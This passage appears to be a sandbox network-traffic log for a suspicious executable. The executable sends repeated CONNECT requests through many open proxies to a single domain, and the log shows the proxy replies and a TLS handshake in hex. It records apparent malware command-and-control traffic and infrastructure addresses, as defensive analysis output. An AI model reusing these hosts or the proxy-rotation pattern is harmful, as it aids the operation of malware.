Feb 23, 2024 09:45:23.043313026 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 09:23:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.4	52735	152.32.132.220	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.664341927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.4	52738	152.32.132.220	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.666177988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.4	52740	152.32.132.220	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.666908026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.4	52549	117.160.250.163	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.672652960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.183970928 CET	221	IN	HTTP/1.1 403 Access Denied Date: Fri, 23 Feb 2024 08:45:23 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.4	52743	152.32.132.220	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.673156023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.4	52654	52.172.1.186	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.680336952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.541574955 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.4	52677	44.190.9.65	48100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.680721045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.4	52657	211.222.252.187	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.680757046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.4	52658	93.90.212.2	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.681935072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.4	52011	219.243.212.118	8443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.689409018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.046942949 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.4	52698	104.25.42.178	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.693396091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.780857086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.4	49809	104.248.151.220	51040	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.693613052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865581989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.4	52071	8.142.127.158	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.693909883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.716550112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716756105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.937140942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.4	52668	37.235.48.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.701138020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.4	52645	125.94.219.96	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.705530882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.053061962 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.4	52709	172.67.242.194	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.707349062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.798842907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.4	52030	123.30.154.38	2008	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.710088015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865576029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.241749048 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.4	52663	78.186.18.142	3629	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.725169897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.4	52655	175.183.82.221	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.727557898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.4	52650	103.138.14.123	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.729193926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537585020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740751982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.602735043 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 09:45:25.626121044 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 25 5b 60 c5 95 fc 96 46 30 e6 5f a1 f8 11 c8 1c 7c 95 31 af 17 a8 e1 e0 f0 26 85 ec 8d 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[%[`F0_\|1&*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#1jAE-Gu:w\mop9pKc_
Feb 23, 2024 09:45:26.010554075 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 25 d4 d6 9c b2 3b c1 83 8d 33 0d 9c 6c a0 9b 7f 1b 3f d7 cb 29 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[%;3l?)DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:26.010562897 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 09:45:26.010576010 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 09:45:26.010581017 CET	238	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y
Feb 23, 2024 09:45:26.365371943 CET	594	IN	Data Raw: 02 05 03 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 34 a4 1e b1 28 a3 d0 b4 76 17 a6 31 7a 21 e9 d1 52 3e c8 db 74 16 41 88 b8 3d 35 1d ed e4 ff 93 e1 5c 5f ab bb ea 7c cf db e4 0d d1 8b 57 f2 26 6f 5b be 17 46 68 94 37 6f 6b Data Ascii: 0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[w
Feb 23, 2024 09:45:26.395236015 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 63 e2 8b 08 d4 2a 4b 9e 2b ca e4 74 40 fc 9d a8 b3 bb 6e 73 51 d0 33 6f 1a d9 4f b2 ec 84 dd 72 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 68 97 f9 a6 09 bf 3d 68 5a 94 eb 6b 65 8f f6 94 03 7f 3d b0 11 Data Ascii: %! c*K+t@nsQ3oOr(h=hZke=WNM
Feb 23, 2024 09:45:26.778728008 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 3b ec ea 22 b9 7a a8 ed aa b5 49 1a 40 dd fc 8d 3b ba ae 12 86 2c ae bd 52 0c 63 c6 b1 05 7c 62 70 38 25 12 82 0f 33 22 79 03 d1 d3 64 59 1a 5e 3a 3a b0 3d 49 db 20 58 de f0 54 f0 51 2b 3b 16 a9 be dd Data Ascii: ;"zI@;,Rc\|bp8%3"ydY^::=I XTQ+;JONt<j$=ix6>T]1@7S1^Zno4\|u@Pxf9d]B!O~}+$(SaE7'3W\
Feb 23, 2024 09:45:26.784810066 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 9e cc 71 a3 bb b8 42 3d b5 8d c4 46 9f e9 f8 ee 66 78 90 7b 36 ca dc 0d ac 2c b4 a0 97 be 05 08 6e 4d c6 59 eb 22 75 35 c2 4d 0a e8 2f 19 96 33 a3 fa 3f 1f 5d 10 32 81 45 c8 0f d7 20 56 30 d2 f6 89 e8 be 2f Data Ascii: qB=Ffx{6,nMY"u5M/3?]2E V0/#a;Z0*Qq~`Fu+jW]0knZ
Feb 23, 2024 09:45:27.548418999 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 21 19 c7 f5 07 a6 5e 57 1e cd 9c 94 d4 1d 3f 3d 3e 6f 11 db 07 67 da 57 ae 2d 2b f6 7f ff 85 bd 2f ec f9 17 43 14 c0 61 ac 12 60 93 66 e0 85 b4 c2 a7 63 77 4b 55 5c ec 97 3e 61 01 ae 04 fd c8 0d 7a f8 9a b0 Data Ascii: q!^W?=>ogW-+/Ca`fcwKU\>azd,^}_'BRG)I}?2)Q+{[r=^:"4idn7!}EG:epNHZQq7afVp+y 5T(9*RQ%[qicK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.4	52673	31.170.22.127	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.740317106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.4	52419	184.170.245.148	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.761940002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.4	52233	72.210.221.197	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.776145935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.4	52003	194.233.78.142	41119	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.776161909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865731001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866492033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.866466999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.881212950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.881160021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.959379911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.4	52749	104.21.102.95	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.787270069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.875041008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.4	52705	46.226.148.105	35198	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.806726933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.365710974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.975090027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.4	52669	103.146.137.9	1081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.823972940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.4	52686	177.12.118.160	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.823986053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.4	52722	166.62.87.148	40591	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.830344915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.284037113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.830173969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740988016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.589595079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333663940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.116156101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647223949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.4	52774	104.20.235.179	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
